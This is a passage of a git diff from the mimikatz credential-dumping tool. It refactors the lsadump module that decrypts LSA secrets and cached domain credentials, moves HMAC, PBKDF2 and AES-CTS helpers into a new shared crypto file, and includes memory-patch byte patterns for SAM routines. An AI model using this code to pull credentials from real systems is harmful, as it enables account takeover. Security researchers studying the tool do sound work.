FIELD_OFFSET(MSCACHE_ENTRY, enc_data); - data.Buffer = pMsCacheEntry->enc_data; - nStatus = RtlEncryptDecryptRC4(&data, &key); - if(NT_SUCCESS(nStatus)) - kuhl_m_lsadump_printMsCache(pMsCacheEntry, '1'); - else PRINT_ERROR(L"RtlEncryptDecryptRC4 : 0x%08x\n", nStatus); + else PRINT_ERROR_AUTO(L"kull_m_crypto_hmac"); } } } @@ -957,13 +915,13 @@ void kuhl_m_lsadump_candidateSecret(DWORD szBytesSecrets, PVOID bufferSecret, PC BOOL kuhl_m_lsadump_sec_aes256(PNT6_HARD_SECRET hardSecretBlob, DWORD hardSecretBlobSize, PNT6_SYSTEM_KEYS lsaKeysStream, PBYTE sysKey) { BOOL status = FALSE; + BYTE keyBuffer[AES_256_KEY_SIZE]; DWORD i, offset, szNeeded; HCRYPTPROV hContext; HCRYPTHASH hHash; HCRYPTKEY hKey; PBYTE pKey = NULL; PNT6_SYSTEM_KEY lsaKey; - AES_256_KEY_BLOB keyBlob = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, CALG_AES_256}, AES_256_KEY_SIZE}; if(lsaKeysStream) { @@ -993,20 +951,24 @@ BOOL kuhl_m_lsadump_sec_aes256(PNT6_HARD_SECRET hardSecretBlob, DWORD hardSecret CryptHashData(hHash, pKey, szNeeded, 0); for(i = 0; i < 1000; i++) CryptHashData(hHash, hardSecretBlob->lazyiv, LAZY_NT6_IV_SIZE, 0); - - if(status = CryptGetHashParam(hHash, HP_HASHVAL, keyBlob.key, &keyBlob.keySize, 0)) + + szNeeded = sizeof(keyBuffer); + if(CryptGetHashParam(hHash, HP_HASHVAL, keyBuffer, &szNeeded, 0)) { - for(i = 0; status && (i + FIELD_OFFSET(NT6_HARD_SECRET, encryptedSecret) < hardSecretBlobSize); i+= AES_BLOCK_SIZE) + if(kull_m_crypto_hkey(hContext, CALG_AES_256, keyBuffer, sizeof(keyBuffer), 0, &hKey)) { - if(status = CryptImportKey(hContext, (LPBYTE) &keyBlob, sizeof(AES_256_KEY_BLOB), 0, 0, &hKey)) + i = CRYPT_MODE_ECB; + if(CryptSetKeyParam(hKey, KP_MODE, (LPCBYTE) &i, 0)) { - szNeeded = AES_BLOCK_SIZE; - if(!(status = CryptDecrypt(hKey, 0, FALSE, 0, &hardSecretBlob->encryptedSecret[i], &szNeeded))) + szNeeded = hardSecretBlobSize - FIELD_OFFSET(NT6_HARD_SECRET, encryptedSecret); + status = CryptDecrypt(hKey, 0, FALSE, 0, hardSecretBlob->encryptedSecret, &szNeeded); + if(!status) PRINT_ERROR_AUTO(L"CryptDecrypt"); - CryptDestroyKey(hKey); } - else PRINT_ERROR_AUTO(L"CryptImportKey"); + else PRINT_ERROR_AUTO(L"CryptSetKeyParam"); + CryptDestroyKey(hKey); } + else PRINT_ERROR_AUTO(L"kull_m_crypto_hkey"); } CryptDestroyHash(hHash); } @@ -1016,33 +978,6 @@ BOOL kuhl_m_lsadump_sec_aes256(PNT6_HARD_SECRET hardSecretBlob, DWORD hardSecret return status; } -void kuhl_m_lsadump_hmac_md5(LPCVOID key, DWORD szKey, LPCVOID data, DWORD szData, LPVOID output) -{ - MD5_CTX context; - BYTE buffer[MD5_DIGEST_LENGTH]; - DWORD k_ipad[16] = {0}, k_opad[16] = {0}; - DWORD i; - - if(szKey > 64) szKey = 64; - RtlCopyMemory(k_ipad, key, szKey); - RtlCopyMemory(k_opad, key, szKey); - for (i = 0; i < ARRAYSIZE(k_ipad); i++) - { - k_ipad[i] ^= '6666'; - k_opad[i] ^= '\\\\\\\\'; - } - MD5Init(&context); - MD5Update(&context, k_ipad, sizeof(k_ipad)); - MD5Update(&context, data, szData); - MD5Final(&context); - RtlCopyMemory(buffer, context.digest, MD5_DIGEST_LENGTH); - MD5Init(&context); - MD5Update(&context, k_opad, sizeof(k_opad)); - MD5Update(&context, buffer, sizeof(buffer)); - MD5Final(&context); - RtlCopyMemory(output, context.digest, MD5_DIGEST_LENGTH); -} - #ifdef _M_X64 BYTE PTRN_WALL_SampQueryInformationUserInternal[] = {0x49, 0x8d, 0x41, 0x20}; BYTE PATC_WIN5_NopNop[] = {0x90, 0x90}; @@ -1555,13 +1490,10 @@ NTSTATUS kuhl_m_lsadump_hash(int argc, wchar_t * argv[]) if(NT_SUCCESS(kuhl_m_lsadump_get_dcc(dcc, hash, &uUsername, 0))) { kprintf(L"DCC1: "); kull_m_string_wprintf_hex(dcc, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); - if(PBKDF2) - { if(NT_SUCCESS(kuhl_m_lsadump_get_dcc(dcc, hash, &uUsername, count))) { kprintf(L"DCC2: "); kull_m_string_wprintf_hex(dcc, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); } - } } } } @@ -1694,7 +1626,7 @@ void kuhl_m_lsadump_analyzeKey(LPCGUID guid, PKIWI_BACKUP_KEY secret, DWORD size kprintf(L" * RSA key\n"); if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { - if(CryptImportKey(hCryptProv, secret->data, secret->keyLen, 0, CRYPT_EXPORTABLE, &hCryptKey)) + if(CryptImportKey(hCryptProv, secret->data, secret->keyLen, 0, CRYPT_EXPORTABLE, &hCryptKey)) { kuhl_m_crypto_printKeyInfos(0, hCryptKey); if(isExport) diff --git a/mimikatz/modules/kuhl_m_lsadump.h b/mimikatz/modules/kuhl_m_lsadump.h index d7384ab0..b31d9cba 100644 --- a/mimikatz/modules/kuhl_m_lsadump.h +++ b/mimikatz/modules/kuhl_m_lsadump.h @@ -27,7 +27,6 @@ typedef struct _SAM_ENTRY { DWORD unk; } SAM_ENTRY, *PSAM_SENTRY; - typedef struct _KIWI_BACKUP_KEY { DWORD version; DWORD keyLen; @@ -146,21 +145,6 @@ typedef struct _SAM_HASH { BYTE hash[LM_NTLM_HASH_LENGTH]; } SAM_HASH, *PSAM_HASH; -#define AES_256_KEY_SIZE (256/8) -#define AES_128_KEY_SIZE (128/8) -#define AES_BLOCK_SIZE 16 -typedef struct _AES_256_KEY_BLOB { - BLOBHEADER Header; - DWORD keySize; - BYTE key[AES_256_KEY_SIZE]; -} AES_256_KEY_BLOB, *PAES_256_KEY_BLOB; - -typedef struct _AES_128_KEY_BLOB { - BLOBHEADER Header; - DWORD keySize; - BYTE key[AES_128_KEY_SIZE]; -} AES_128_KEY_BLOB, *PAES_128_KEY_BLOB; - typedef struct _POL_REVISION { USHORT Minor; USHORT Major; @@ -351,7 +335,6 @@ void kuhl_m_lsadump_getInfosFromServiceName(IN PKULL_M_REGISTRY_HANDLE hSystem, BOOL kuhl_m_lsadump_decryptSecret(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecret, IN PNT6_SYSTEM_KEYS lsaKeysStream, IN PNT5_SYSTEM_KEY lsaKeyUnique, IN PVOID * pBufferOut, IN PDWORD pSzBufferOut); void kuhl_m_lsadump_candidateSecret(DWORD szBytesSecrets, PVOID bufferSecret, PCWSTR prefix, PCWSTR secretName); BOOL kuhl_m_lsadump_sec_aes256(PNT6_HARD_SECRET hardSecretBlob, DWORD hardSecretBlobSize, PNT6_SYSTEM_KEYS lsaKeysStream, PBYTE sysKey); -void kuhl_m_lsadump_hmac_md5(LPCVOID key, DWORD szKey, LPCVOID data, DWORD szData, LPVOID output); PKERB_KEY_DATA kuhl_m_lsadump_lsa_keyDataInfo(PVOID base, PKERB_KEY_DATA keys, USHORT Count, PCWSTR title); PKERB_KEY_DATA_NEW kuhl_m_lsadump_lsa_keyDataNewInfo(PVOID base, PKERB_KEY_DATA_NEW keys, USHORT Count, PCWSTR title); diff --git a/modules/kull_m_crypto.c b/modules/kull_m_crypto.c new file mode 100644 index 00000000..c365b99a --- /dev/null +++ b/modules/kull_m_crypto.c @@ -0,0 +1,369 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kull_m_crypto.h" +#include "kull_m_string.h" + +BOOL kull_m_crypto_hkey(HCRYPTPROV hProv, DWORD calgid, LPCVOID key, DWORD keyLen, DWORD flags, HCRYPTKEY *hKey) +{ + BOOL status = FALSE; + PGENERICKEY_BLOB keyBlob; + DWORD szBlob = sizeof(GENERICKEY_BLOB) + keyLen; + if(keyBlob = (PGENERICKEY_BLOB) LocalAlloc(LPTR, szBlob)) + { + keyBlob->Header.bType = PLAINTEXTKEYBLOB; + keyBlob->Header.bVersion = CUR_BLOB_VERSION; + keyBlob->Header.reserved = 0; + keyBlob->Header.aiKeyAlg = calgid; + keyBlob->dwKeyLen = keyLen; + RtlCopyMemory((PBYTE) keyBlob + sizeof(GENERICKEY_BLOB), key, keyBlob->dwKeyLen); + status = CryptImportKey(hProv, (LPCBYTE) keyBlob, szBlob, 0, flags, hKey); + LocalFree(keyBlob); + } + return status; +} + +BOOL kull_m_crypto_hmac(DWORD calgid, LPCVOID key, DWORD keyLen, LPCVOID message, DWORD messageLen, LPVOID hash, DWORD hashWanted) // for keyLen > 1 +{ + BOOL status = FALSE; + DWORD hashLen; + HCRYPTPROV hProv; + HCRYPTKEY hKey; + HCRYPTHASH hHash; + HMAC_INFO HmacInfo = {calgid, NULL, 0, NULL, 0}; + PBYTE buffer; + + if(CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) + { + if(kull_m_crypto_hkey(hProv, CALG_RC2, key, keyLen, CRYPT_IPSEC_HMAC_KEY, &hKey)) + { + if(CryptCreateHash(hProv, CALG_HMAC, hKey, 0, &hHash)) + { + if(CryptSetHashParam(hHash, HP_HMAC_INFO, (LPCBYTE) &HmacInfo, 0)) + if(CryptHashData(hHash, (LPCBYTE) message, messageLen, 0)) + if(CryptGetHashParam(hHash, HP_HASHVAL, NULL, &hashLen, 0)) + { + if(buffer = (PBYTE) LocalAlloc(LPTR, hashLen)) + { + status = CryptGetHashParam(hHash, HP_HASHVAL, buffer, &hashLen, 0); + RtlCopyMemory(hash, buffer, KIWI_MINIMUM(hashLen, hashWanted)); + LocalFree(buffer); + } + } + CryptDestroyHash(hHash); + } + CryptDestroyKey(hKey); + } + CryptReleaseContext(hProv, 0); + } + return status; +} + +BOOL kull_m_crypto_pkcs5_pbkdf2_hmac(DWORD calgid, LPCVOID password, DWORD passwordLen, LPCVOID salt, DWORD saltLen, DWORD iterations, BYTE *key, DWORD keyLen) +{ + BOOL status = FALSE; + HCRYPTPROV hProv; + HCRYPTHASH hHash; + DWORD sizeHmac, count, i, j, r; + PBYTE asalt, obuf, d1, d2; + + if(CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) + { + if(CryptCreateHash(hProv, calgid, 0, 0, &hHash)) + { + if(CryptGetHashParam(hHash, HP_HASHVAL, NULL, &sizeHmac, 0)) + { + if(asalt = (PBYTE) LocalAlloc(LPTR, saltLen + 4)) + { + if(obuf = (PBYTE) LocalAlloc(LPTR, sizeHmac)) + { + if(d1 = (PBYTE) LocalAlloc(LPTR, sizeHmac)) + { + if(d2 = (PBYTE) LocalAlloc(LPTR, sizeHmac)) + { + status = TRUE; + RtlCopyMemory(asalt, salt, saltLen); + for (count = 1; keyLen > 0; count++) + { + *(PDWORD) (asalt + saltLen) = _byteswap_ulong(count); + kull_m_crypto_hmac(calgid, password, passwordLen, asalt, saltLen + 4, d1, sizeHmac); + RtlCopyMemory(obuf, d1, sizeHmac); + for (i = 1; i < iterations; i++) + { + kull_m_crypto_hmac(calgid, password, passwordLen, d1, sizeHmac, d2, sizeHmac); + RtlCopyMemory(d1, d2, sizeHmac); + for (j = 0; j < sizeHmac; j++) + obuf[j] ^= d1[j]; + } + r = KIWI_MINIMUM(keyLen, sizeHmac); + RtlCopyMemory(key, obuf, r); + key += r; + keyLen -= r; + } + LocalFree(d2); + } + LocalFree(d1); + } + LocalFree(obuf); + } + LocalFree(asalt); + } + } + CryptDestroyHash(hHash); + } + CryptReleaseContext(hProv, 0); + } + return status; +} + +BOOL kull_m_crypto_aesBlockEncryptDecrypt(HCRYPTKEY hKey, PBYTE data, DWORD nbBlock, BOOL encrypt) +{ + nbBlock *= 16; + return (encrypt ? CryptEncrypt(hKey, 0, FALSE, 0, data, &nbBlock, nbBlock) : CryptDecrypt(hKey, 0, FALSE, 0, data, &nbBlock)); +} + +BOOL kull_m_crypto_aesCTSDecrypt(HCRYPTKEY hKey, PBYTE data, DWORD szData, PBYTE pbIV) +{ + BOOL status = FALSE; + DWORD nbBlock, lastLen, i; + BYTE buffer[32], *ptr; + HCRYPTKEY hKeyNoIV; + + if(szData > 16) + { + if(CryptDuplicateKey(hKey, NULL, 0, &hKeyNoIV)) + { + if(CryptSetKeyParam(hKey, KP_IV, pbIV, 0)) + { + nbBlock = (szData + 15) >> 4; + lastLen = (szData & 0xf) ? (szData & 0xf) : 16; + if (nbBlock <= 2 || kull_m_crypto_aesBlockEncryptDecrypt(hKey, data, nbBlock - 2, FALSE)) + { + ptr = &data[16 * (nbBlock - 2)]; + RtlCopyMemory(buffer, ptr, lastLen + 16); + RtlZeroMemory(&buffer[lastLen + 16], 16 - lastLen); + if(kull_m_crypto_aesBlockEncryptDecrypt(hKeyNoIV, buffer, 1, FALSE)) + { + for(i = 0; i < 16; i++) + buffer[i] ^= buffer[i + 16]; + RtlCopyMemory(&buffer[lastLen + 16], &buffer[lastLen], 16 - lastLen); + if(status = kull_m_crypto_aesBlockEncryptDecrypt(hKey, buffer + 16, 1, FALSE)) + { + RtlCopyMemory(ptr, buffer + 16, 16); + RtlCopyMemory(&data[16 * nbBlock - 16], buffer, lastLen); + } + } + } + } + CryptDestroyKey(hKeyNoIV); + } + } + else if(szData == 16) + status = kull_m_crypto_aesBlockEncryptDecrypt(hKey, data, 1, FALSE); + + return status; +} + +BOOL kull_m_crypto_aesCTSEncrypt(HCRYPTKEY hKey, PBYTE data, DWORD szData, PBYTE pbIV) +{ + BOOL status = FALSE; + DWORD nbBlock, lastLen; + BYTE buffer[32], *ptr; + + if(szData > 16) + { + if(CryptSetKeyParam(hKey, KP_IV, pbIV, 0)) + { + nbBlock = (szData + 15) >> 4; + lastLen = (szData & 0xf) ? (szData & 0xf) : 16; + if (nbBlock <= 2 || kull_m_crypto_aesBlockEncryptDecrypt(hKey, data, nbBlock - 2, TRUE)) + { + ptr = &data[16 * (nbBlock - 2)]; + RtlCopyMemory(buffer, ptr, lastLen + 16); + RtlZeroMemory(&buffer[lastLen + 16], 16 - lastLen); + if(status = kull_m_crypto_aesBlockEncryptDecrypt(hKey, buffer, 2, TRUE)) + { + RtlCopyMemory(ptr, buffer + 16, 16); + RtlCopyMemory(&data[16 * nbBlock - 16], buffer, lastLen); + } + } + } + } + else if(szData == 16) + status = kull_m_crypto_aesBlockEncryptDecrypt(hKey, data, 1, TRUE); + + return status; +} + +BOOL kull_m_crypto_aesCTSEncryptDecrypt(DWORD aesCalgId, PVOID data, DWORD szData, PVOID key, DWORD szKey, PVOID pbIV, BOOL encrypt) +{ + BOOL status = FALSE; + HCRYPTPROV hProv; + HCRYPTKEY hKey; + DWORD mode = CRYPT_MODE_CBC; + + if(CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) + { + if(kull_m_crypto_hkey(hProv, aesCalgId, key, szKey, 0, &hKey)) + { + if(CryptSetKeyParam(hKey, KP_MODE, (LPCBYTE) &mode, 0)) + status = (encrypt ? kull_m_crypto_aesCTSEncrypt(hKey, (PBYTE) data, szData, (PBYTE) pbIV) : kull_m_crypto_aesCTSDecrypt(hKey, (PBYTE) data, szData, (PBYTE) pbIV)); + CryptDestroyKey(hKey); + } + CryptReleaseContext(hProv, 0); + } + return status; +} + +const KULL_M_CRYPTO_DUAL_STRING_DWORD kull_m_crypto_system_stores[] = { + {L"CERT_SYSTEM_STORE_CURRENT_USER", CERT_SYSTEM_STORE_CURRENT_USER}, + {L"CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY", CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY}, + {L"CERT_SYSTEM_STORE_LOCAL_MACHINE", CERT_SYSTEM_STORE_LOCAL_MACHINE}, + {L"CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY", CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY}, + {L"CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE", CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE}, + {L"CERT_SYSTEM_STORE_CURRENT_SERVICE", CERT_SYSTEM_STORE_CURRENT_SERVICE}, + {L"CERT_SYSTEM_STORE_USERS", CERT_SYSTEM_STORE_USERS}, + {L"CERT_SYSTEM_STORE_SERVICES", CERT_SYSTEM_STORE_SERVICES}, +}; + +const KULL_M_CRYPTO_DUAL_STRING_STRING kull_m_crypto_provider_names[] = { + {L"MS_DEF_PROV", MS_DEF_PROV}, + {L"MS_ENHANCED_PROV", MS_ENHANCED_PROV}, + {L"MS_STRONG_PROV", MS_STRONG_PROV}, + {L"MS_DEF_RSA_SIG_PROV", MS_DEF_RSA_SIG_PROV}, + {L"MS_DEF_RSA_SCHANNEL_PROV", MS_DEF_RSA_SCHANNEL_PROV}, + {L"MS_DEF_DSS_PROV", MS_DEF_DSS_PROV}, + {L"MS_DEF_DSS_DH_PROV", MS_DEF_DSS_DH_PROV}, + {L"MS_ENH_DSS_DH_PROV", MS_ENH_DSS_DH_PROV}, + {L"MS_DEF_DH_SCHANNEL_PROV", MS_DEF_DH_SCHANNEL_PROV}, + {L"MS_SCARD_PROV", MS_SCARD_PROV}, + {L"MS_ENH_RSA_AES_PROV_XP", MS_ENH_RSA_AES_PROV_XP}, + {L"MS_ENH_RSA_AES_PROV", MS_ENH_RSA_AES_PROV}, +}; + +const KULL_M_CRYPTO_DUAL_STRING_DWORD kull_m_crypto_provider_types[] = { + {L"PROV_RSA_FULL", PROV_RSA_FULL}, + {L"PROV_RSA_SIG", PROV_RSA_SIG}, + {L"PROV_DSS", PROV_DSS}, + {L"PROV_FORTEZZA", PROV_FORTEZZA}, + {L"PROV_MS_EXCHANGE", PROV_MS_EXCHANGE}, + {L"PROV_SSL", PROV_SSL}, + {L"PROV_RSA_SCHANNEL", PROV_RSA_SCHANNEL}, + {L"PROV_DSS_DH", PROV_DSS_DH}, + {L"PROV_EC_ECDSA_SIG", PROV_EC_ECDSA_SIG}, + {L"PROV_EC_ECNRA_SIG", PROV_EC_ECNRA_SIG}, + {L"PROV_EC_ECDSA_FULL", PROV_EC_ECDSA_FULL}, + {L"PROV_EC_ECNRA_FULL", PROV_EC_ECNRA_FULL}, + {L"PROV_DH_SCHANNEL", PROV_DH_SCHANNEL}, + {L"PROV_SPYRUS_LYNKS", PROV_SPYRUS_LYNKS}, + {L"PROV_RNG", PROV_RNG}, + {L"PROV_INTEL_SEC", PROV_INTEL_SEC}, + {L"PROV_REPLACE_OWF", PROV_REPLACE_OWF}, + {L"PROV_RSA_AES", PROV_RSA_AES}, +}; + +const KULL_M_CRYPTO_DUAL_STRING_DWORD kull_m_crypto_calgid[] = { + {L"CALG_MD2", CALG_MD2}, + {L"CALG_MD4", CALG_MD4}, + {L"CALG_MD5", CALG_MD5}, + //{L"CALG_SHA", CALG_SHA}, + {L"CALG_SHA1", CALG_SHA1}, + {L"CALG_MAC", CALG_MAC}, + {L"CALG_RSA_SIGN", CALG_RSA_SIGN}, + {L"CALG_DSS_SIGN", CALG_DSS_SIGN}, + {L"CALG_NO_SIGN", CALG_NO_SIGN}, + {L"CALG_RSA_KEYX", CALG_RSA_KEYX}, + {L"CALG_DES", CALG_DES}, + {L"CALG_3DES_112", CALG_3DES_112}, + {L"CALG_3DES", CALG_3DES}, + {L"CALG_DESX", CALG_DESX}, + {L"CALG_RC2", CALG_RC2}, + {L"CALG_RC4", CALG_RC4}, + {L"CALG_SEAL", CALG_SEAL}, + {L"CALG_DH_SF", CALG_DH_SF}, + {L"CALG_DH_EPHEM", CALG_DH_EPHEM}, + {L"CALG_AGREEDKEY_ANY", CALG_AGREEDKEY_ANY}, + {L"CALG_KEA_KEYX", CALG_KEA_KEYX}, + {L"CALG_HUGHES_MD5", CALG_HUGHES_MD5}, + {L"CALG_SKIPJACK", CALG_SKIPJACK}, + {L"CALG_TEK", CALG_TEK}, + {L"CALG_CYLINK_MEK", CALG_CYLINK_MEK}, + {L"CALG_SSL3_SHAMD5", CALG_SSL3_SHAMD5}, + {L"CALG_SSL3_MASTER", CALG_SSL3_MASTER}, + {L"CALG_SCHANNEL_MASTER_HASH", CALG_SCHANNEL_MASTER_HASH}, + {L"CALG_SCHANNEL_MAC_KEY", CALG_SCHANNEL_MAC_KEY}, + {L"CALG_SCHANNEL_ENC_KEY", CALG_SCHANNEL_ENC_KEY}, + {L"CALG_PCT1_MASTER", CALG_PCT1_MASTER}, + {L"CALG_SSL2_MASTER", CALG_SSL2_MASTER}, + {L"CALG_TLS1_MASTER", CALG_TLS1_MASTER}, + {L"CALG_RC5", CALG_RC5}, + {L"CALG_HMAC", CALG_HMAC}, + {L"CALG_TLS1PRF", CALG_TLS1PRF}, + {L"CALG_HASH_REPLACE_OWF", CALG_HASH_REPLACE_OWF}, + {L"CALG_AES_128", CALG_AES_128}, + {L"CALG_AES_192", CALG_AES_192}, + {L"CALG_AES_256", CALG_AES_256}, + {L"CALG_AES", CALG_AES}, + {L"CALG_SHA_256", CALG_SHA_256}, + {L"CALG_SHA_384", CALG_SHA_384}, + {L"CALG_SHA_512", CALG_SHA_512}, + {L"CALG_ECDH", CALG_ECDH}, + {L"CALG_ECMQV", CALG_ECMQV}, + {L"CALG_ECDSA", CALG_ECDSA}, +}; + +DWORD kull_m_crypto_system_store_to_dword(PCWSTR name) +{ + DWORD i; + if(name) + for(i = 0; i < ARRAYSIZE(kull_m_crypto_system_stores); i++) + if((_wcsicmp(name, kull_m_crypto_system_stores[i].name) == 0) || (_wcsicmp(name, kull_m_crypto_system_stores[i].name + 18) == 0)) + return kull_m_crypto_system_stores[i].id; + return 0; +} + +DWORD kull_m_crypto_provider_type_to_dword(PCWSTR name) +{ + DWORD i; + if(name) + for(i = 0; i < ARRAYSIZE(kull_m_crypto_provider_types); i++) + if((_wcsicmp(name, kull_m_crypto_provider_types[i].name) == 0) || (_wcsicmp(name, kull_m_crypto_provider_types[i].name + 5) == 0)) + return kull_m_crypto_provider_types[i].id; + return 0; +} + +PCWCHAR kull_m_crypto_provider_to_realname(PCWSTR name) +{ + DWORD i; + if(name) + for(i = 0; i < ARRAYSIZE(kull_m_crypto_provider_names); i++) + if((_wcsicmp(name, kull_m_crypto_provider_names[i].name) == 0) || (_wcsicmp(name, kull_m_crypto_provider_names[i].name + 3) == 0)) + return kull_m_crypto_provider_names[i].realname; + return NULL; +} + +PCWCHAR kull_m_crypto_keytype_to_str(const DWORD keyType) +{ + switch (keyType) + { + case AT_KEYEXCHANGE: + return L"AT_KEYEXCHANGE"; + case AT_SIGNATURE: + return L"AT_SIGNATURE"; + case CERT_NCRYPT_KEY_SPEC: + return L"CNG Key"; + default: + return L"?"; + } +} + +PCWCHAR kull_m_crypto_algid_to_name(ALG_ID algid) +{ + DWORD i; + for(i = 0; i < ARRAYSIZE(kull_m_crypto_calgid); i++) + if(kull_m_crypto_calgid[i].id == algid) + return kull_m_crypto_calgid[i].name; + return NULL; +} \ No newline at end of file diff --git a/modules/kull_m_crypto.h b/modules/kull_m_crypto.h new file mode 100644 index 00000000..c815c37b --- /dev/null +++ b/modules/kull_m_crypto.h @@ -0,0 +1,38 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globals.h" + +#define AES_256_KEY_SIZE (256/8) +#define AES_128_KEY_SIZE (128/8) +#define AES_BLOCK_SIZE 16 + +typedef struct _GENERICKEY_BLOB { + BLOBHEADER Header; + DWORD dwKeyLen; +} GENERICKEY_BLOB, *PGENERICKEY_BLOB; + +BOOL kull_m_crypto_hkey(HCRYPTPROV hProv, DWORD calgid, LPCVOID key, DWORD keyLen, DWORD flags, HCRYPTKEY *hKey); +BOOL kull_m_crypto_hmac(DWORD calgid, LPCVOID key, DWORD keyLen, LPCVOID message, DWORD messageLen, LPVOID hash, DWORD hashWanted); +BOOL kull_m_crypto_pkcs5_pbkdf2_hmac(DWORD calgid, LPCVOID password, DWORD passwordLen, LPCVOID salt, DWORD saltLen, DWORD iterations, BYTE *key, DWORD keyLen); +BOOL kull_m_crypto_aesCTSEncryptDecrypt(DWORD aesCalgId, PVOID data, DWORD szData, PVOID key, DWORD szKey, PVOID pbIV, BOOL encrypt); + + +typedef struct _KULL_M_CRYPTO_DUAL_STRING_DWORD { + PCWSTR name; + DWORD id; +} KULL_M_CRYPTO_DUAL_STRING_DWORD, *PKULL_M_CRYPTO_DUAL_STRING_DWORD; + +typedef struct _KULL_M_CRYPTO_DUAL_STRING_STRING { + PCWSTR name; + PCWSTR realname; +} KULL_M_CRYPTO_DUAL_STRING_STRING, *PKULL_M_CRYPTO_DUAL_STRING_STRING; + +DWORD kull_m_crypto_system_store_to_dword(PCWSTR name); +DWORD kull_m_crypto_provider_type_to_dword(PCWSTR name); +PCWCHAR kull_m_crypto_provider_to_realname(PCWSTR name); +PCWCHAR kull_m_crypto_keytype_to_str(const DWORD keyType); +PCWCHAR kull_m_crypto_algid_to_name(ALG_ID algid); \ No newline at end of file diff --git a/modules/kull_m_crypto_system.h b/modules/kull_m_crypto_system.h index ae825e01..ad25137a 100644 --- a/modules/kull_m_crypto_system.h +++ b/modules/kull_m_crypto_system.h @@ -213,9 +213,4 @@ typedef struct _KERB_RNG { extern NTSTATUS WINAPI CDLocateCSystem(LONG type, PKERB_ECRYPT * pCSystem); extern NTSTATUS WINAPI CDLocateCheckSum(LONG type, PKERB_CHECKSUM * pCheckSum); extern NTSTATUS WINAPI CDLocateRng(LONG type, PKERB_RNG * pRng); -extern NTSTATUS WINAPI CDGenerateRandomBits(LPVOID Buffer, DWORD Size); - -typedef NTSTATUS (WINAPI * PHMACWITHSHA) (PVOID secret, DWORD szSecret, PVOID data, DWORD szData, PVOID *hash, DWORD szHash); -typedef NTSTATUS (WINAPI * PAESCTSDECRYPTMSG) (DWORD szSecret, PVOID secret, DWORD szData, PVOID data, PVOID iv); -typedef NTSTATUS (WINAPI * PAESCTSENCRYPTMSG) (DWORD szSecret, PVOID secret, DWORD szData, PVOID data, PVOID iv); -typedef NTSTATUS (WINAPI * PPBKDF2) (PVOID data, DWORD szData, PVOID salt, DWORD szSalt, DWORD iteration, DWORD szHash, PVOID hash); \ No newline at end of file +extern NTSTATUS WINAPI CDGenerateRandomBits(LPVOID Buffer, DWORD Size); \ No newline at end of file diff --git a/modules/kull_m_dpapi.c b/modules/kull_m_dpapi.c index c44259d2..cc1faa92 100644 --- a/modules/kull_m_dpapi.c +++ b/modules/kull_m_dpapi.c @@ -3,68 +3,8 @@ benjamin@gentilkiwi.com Licence : http://creativecommons.org/licenses/by/3.0/fr/ */ -#ifdef DPAPI_TOOLS #include "kull_m_dpapi.h" -const KULL_M_DWORD_TO_DWORD kull_m_dpapi_calgid[] = { - {L"CALG_MD2", CALG_MD2}, - {L"CALG_MD4", CALG_MD4}, - {L"CALG_MD5", CALG_MD5}, - //{L"CALG_SHA", CALG_SHA}, - {L"CALG_SHA1", CALG_SHA1}, - {L"CALG_MAC", CALG_MAC}, - {L"CALG_RSA_SIGN", CALG_RSA_SIGN}, - {L"CALG_DSS_SIGN", CALG_DSS_SIGN}, - {L"CALG_NO_SIGN", CALG_NO_SIGN}, - {L"CALG_RSA_KEYX", CALG_RSA_KEYX}, - {L"CALG_DES", CALG_DES}, - {L"CALG_3DES_112", CALG_3DES_112}, - {L"CALG_3DES", CALG_3DES}, - {L"CALG_DESX", CALG_DESX}, - {L"CALG_RC2", CALG_RC2}, - {L"CALG_RC4", CALG_RC4}, - {L"CALG_SEAL", CALG_SEAL}, - {L"CALG_DH_SF", CALG_DH_SF}, - {L"CALG_DH_EPHEM", CALG_DH_EPHEM}, - {L"CALG_AGREEDKEY_ANY", CALG_AGREEDKEY_ANY}, - {L"CALG_KEA_KEYX", CALG_KEA_KEYX}, - {L"CALG_HUGHES_MD5", CALG_HUGHES_MD5}, - {L"CALG_SKIPJACK", CALG_SKIPJACK}, - {L"CALG_TEK", CALG_TEK}, - {L"CALG_CYLINK_MEK", CALG_CYLINK_MEK}, - {L"CALG_SSL3_SHAMD5", CALG_SSL3_SHAMD5}, - {L"CALG_SSL3_MASTER", CALG_SSL3_MASTER}, - {L"CALG_SCHANNEL_MASTER_HASH", CALG_SCHANNEL_MASTER_HASH}, - {L"CALG_SCHANNEL_MAC_KEY", CALG_SCHANNEL_MAC_KEY}, - {L"CALG_SCHANNEL_ENC_KEY", CALG_SCHANNEL_ENC_KEY}, - {L"CALG_PCT1_MASTER", CALG_PCT1_MASTER}, - {L"CALG_SSL2_MASTER", CALG_SSL2_MASTER}, - {L"CALG_TLS1_MASTER", CALG_TLS1_MASTER}, - {L"CALG_RC5", CALG_RC5}, - {L"CALG_HMAC", CALG_HMAC}, - {L"CALG_TLS1PRF", CALG_TLS1PRF}, - {L"CALG_HASH_REPLACE_OWF", CALG_HASH_REPLACE_OWF}, - {L"CALG_AES_128", CALG_AES_128}, - {L"CALG_AES_192", CALG_AES_192}, - {L"CALG_AES_256", CALG_AES_256}, - {L"CALG_AES", CALG_AES}, - {L"CALG_SHA_256", CALG_SHA_256}, - {L"CALG_SHA_384", 